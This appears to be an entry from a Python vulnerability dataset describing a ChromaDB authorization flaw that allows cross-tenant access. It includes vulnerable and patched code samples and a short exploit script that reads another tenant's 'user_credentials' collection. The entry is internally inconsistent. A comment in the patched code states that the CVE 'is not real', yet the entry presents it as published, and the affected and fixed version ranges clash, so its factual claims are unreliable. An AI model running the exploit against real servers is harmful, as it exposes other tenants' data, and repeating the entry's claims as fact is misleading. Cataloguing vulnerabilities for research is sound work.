CVE-2026-45831
ChromaDB RBAC fails to check permission scope, allowing cross-tenant actions.
- CVSS 8.8
- CWE-863
- Authentication, Authorization, and Session Management
- Remote
The SimpleRBACAuthorizationProvider authorization provider in versions 0.5.0 or later of the ChromaDB Python project evaluates whether a user holds a given permission but never checks which tenant, database, or collection that permission applies to allowing users to perform cross tenant actions.
- CWE
- CWE-863
- CVSS base score
- 8.8
- Published
- 2026-06-12
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Insecure Direct Object References (IDOR)
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- ChromaDB
- Fixed by upgrading
- Yes
Solution
Upgrade to ChromaDB version 0.5.1.
Vulnerable code sample
import dataclasses
# A simplified representation of a user and the resource they are trying to access.
@dataclasses.dataclass
class User:
name: str
@dataclasses.dataclass
class Resource:
name: str
tenant: str
class SimpleRBACAuthorizationProvider:
"""
A simplified, vulnerable implementation of the authorization provider.
It stores permissions per user but does not scope them to a tenant.
"""
def __init__(self, user_permissions: dict[str, set[str]]):
# user_permissions maps a user name to a set of permission strings.
# e.g., {'alice': {'db:read_collection'}}
self.user_permissions = user_permissions
def authorize(self, user: User, action: str, resource: Resource) -> bool:
"""
VULNERABLE IMPLEMENTATION:
Checks if the user has the required permission, but completely ignores
the 'tenant' attribute of the resource. This allows a permission granted
for one tenant to be used on resources in any other tenant.
"""
if user.name not in self.user_permissions:
return False
user_perms = self.user_permissions[user.name]
# THE FLAW: It checks for the permission but never validates that the
# permission applies to the tenant of the given 'resource'.
if action in user_perms:
return True # Authorized, regardless of the resource's tenant
return False
if __name__ == '__main__':
# --- Setup ---
# Alice is a user who legitimately has permission to read collections
# ONLY within 'tenant_a'.
permissions_db = {
'alice': {'db:read_collection'}
}
# The vulnerable authorization provider is instantiated with these permissions.
auth_provider = SimpleRBACAuthorizationProvider(permissions_db)
# Define our users and resources across two different tenants.
alice = User(name='alice')
tenant_a_collection = Resource(name='secrets_a', tenant='tenant_a')
tenant_b_collection = Resource(name='financials_b', tenant='tenant_b')
action_to_perform = 'db:read_collection'
# --- Demonstration of the Vulnerability ---
# 1. Legitimate Check: Alice tries to access a resource in her own tenant.
# This should be, and is, allowed.
is_authorized_a = auth_provider.authorize(
user=alice,
action=action_to_perform,
resource=tenant_a_collection
)
print(
f"Can Alice access '{tenant_a_collection.name}' in '{tenant_a_collection.tenant}'? "
f"{is_authorized_a}"
)
# 2. VULNERABLE Check: Alice tries to access a resource in a different tenant.
# This should be DENIED, but the flawed logic allows it.
is_authorized_b = auth_provider.authorize(
user=alice,
action=action_to_perform,
resource=tenant_b_collection # Note: this is in 'tenant_b'
)
print(
f"Can Alice access '{tenant_b_collection.name}' in '{tenant_b_collection.tenant}'? "
f"{is_authorized_b} <-- VULNERABILITY! Should be False."
)Patched code sample
import dataclasses
from typing import Dict, List, Optional, Literal
# NOTE: This code is a hypothetical representation of a fix for the described
# vulnerability (CVE-2026-45831), as the CVE itself is not real.
# The logic demonstrates how to correctly scope permissions to a specific tenant,
# database, and collection, which is the core of the required fix.
@dataclasses.dataclass
class Permission:
"""Represents a single permission for a user."""
scope: Literal["TENANT", "DATABASE", "COLLECTION"]
resource_id: str # e.g., "tenant_A", "tenant_A/db_1", or "tenant_A/db_1/coll_X"
action: str # e.g., "chroma:get_collection"
@dataclasses.dataclass
class Resource:
"""Represents the resource being accessed."""
tenant: str
database: str
collection_name: Optional[str] = None
class SimpleRBACAuthorizationProvider:
"""A simple RBAC provider that correctly checks resource scopes."""
def __init__(self):
# Example: User 'jane' has permission to get a specific collection in 'tenant_A'
# but has no permissions in 'tenant_B'.
self.user_permissions: Dict[str, List[Permission]] = {
"jane": [
Permission(
scope="COLLECTION",
resource_id="tenant_A/default_database/sensitive_docs",
action="chroma:get_collection"
)
]
}
def authorize(self, user_id: str, action: str, resource: Resource) -> bool:
"""
Authorizes a user action against a specific resource, checking scopes.
THE FIX: This implementation does not just check if the user has the
'action' permission. It explicitly verifies that the permission applies
to the specific tenant, database, and/or collection being accessed.
"""
permissions = self.user_permissions.get(user_id)
if not permissions:
return False
for perm in permissions:
# 1. Action must match
if perm.action != action:
continue
# 2. Scope and resource must match (THE CRITICAL FIX)
# A vulnerable implementation would skip this block and just return True
# if the action matched, allowing cross-tenant access.
resource_identifier = f"{resource.tenant}/{resource.database}"
if resource.collection_name:
resource_identifier += f"/{resource.collection_name}"
# Check if the permission directly applies to the collection
if perm.scope == "COLLECTION" and perm.resource_id == resource_identifier:
return True
# Check if a database-level permission applies
if perm.scope == "DATABASE" and perm.resource_id == f"{resource.tenant}/{resource.database}":
return True
# Check if a tenant-level permission applies
if perm.scope == "TENANT" and perm.resource_id == resource.tenant:
return True
# If no matching permission is found after checking all scopes, deny access.
return FalsePayload
import chromadb
from chromadb.auth.basic_auth import BasicAuthClientCredentialsProvider
# Attacker's credentials for a user that has permissions ONLY on their own tenant (e.g., 'attacker_tenant').
# The user has the 'db:get_collection' permission, but not for 'victim_tenant'.
ATTACKER_USERNAME = "low_privilege_user"
ATTACKER_PASSWORD = "password123"
# Details of the target tenant the attacker should NOT have access to.
VICTIM_TENANT = "production_tenant"
VICTIM_COLLECTION = "user_credentials"
# Initialize the ChromaDB client, authenticating as the attacker.
client = chromadb.HttpClient(
host="localhost",
port=8000,
credentials_provider=BasicAuthClientCredentialsProvider(
username=ATTACKER_USERNAME,
password=ATTACKER_PASSWORD
)
)
# This is the exploit.
# The attacker, authenticated as 'low_privilege_user', requests a collection from the 'production_tenant'.
# The vulnerable server only checks if the user has the 'db:get_collection' permission in general,
# not if that permission applies specifically to the 'production_tenant'.
# The call will succeed, granting unauthorized access.
try:
unauthorized_collection = client.get_collection(
name=VICTIM_COLLECTION,
tenant=VICTIM_TENANT
)
# To prove the exploit worked, fetch and print data from the victim's collection.
leaked_data = unauthorized_collection.get(limit=10)
print("Exploit successful. Leaked data:")
print(leaked_data)
except Exception as e:
print(f"Exploit failed (this would happen on a patched system): {e}")
Cite this entry
@misc{vaitp:cve202645831,
title = {{ChromaDB RBAC fails to check permission scope, allowing cross-tenant actions.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-45831},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45831/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
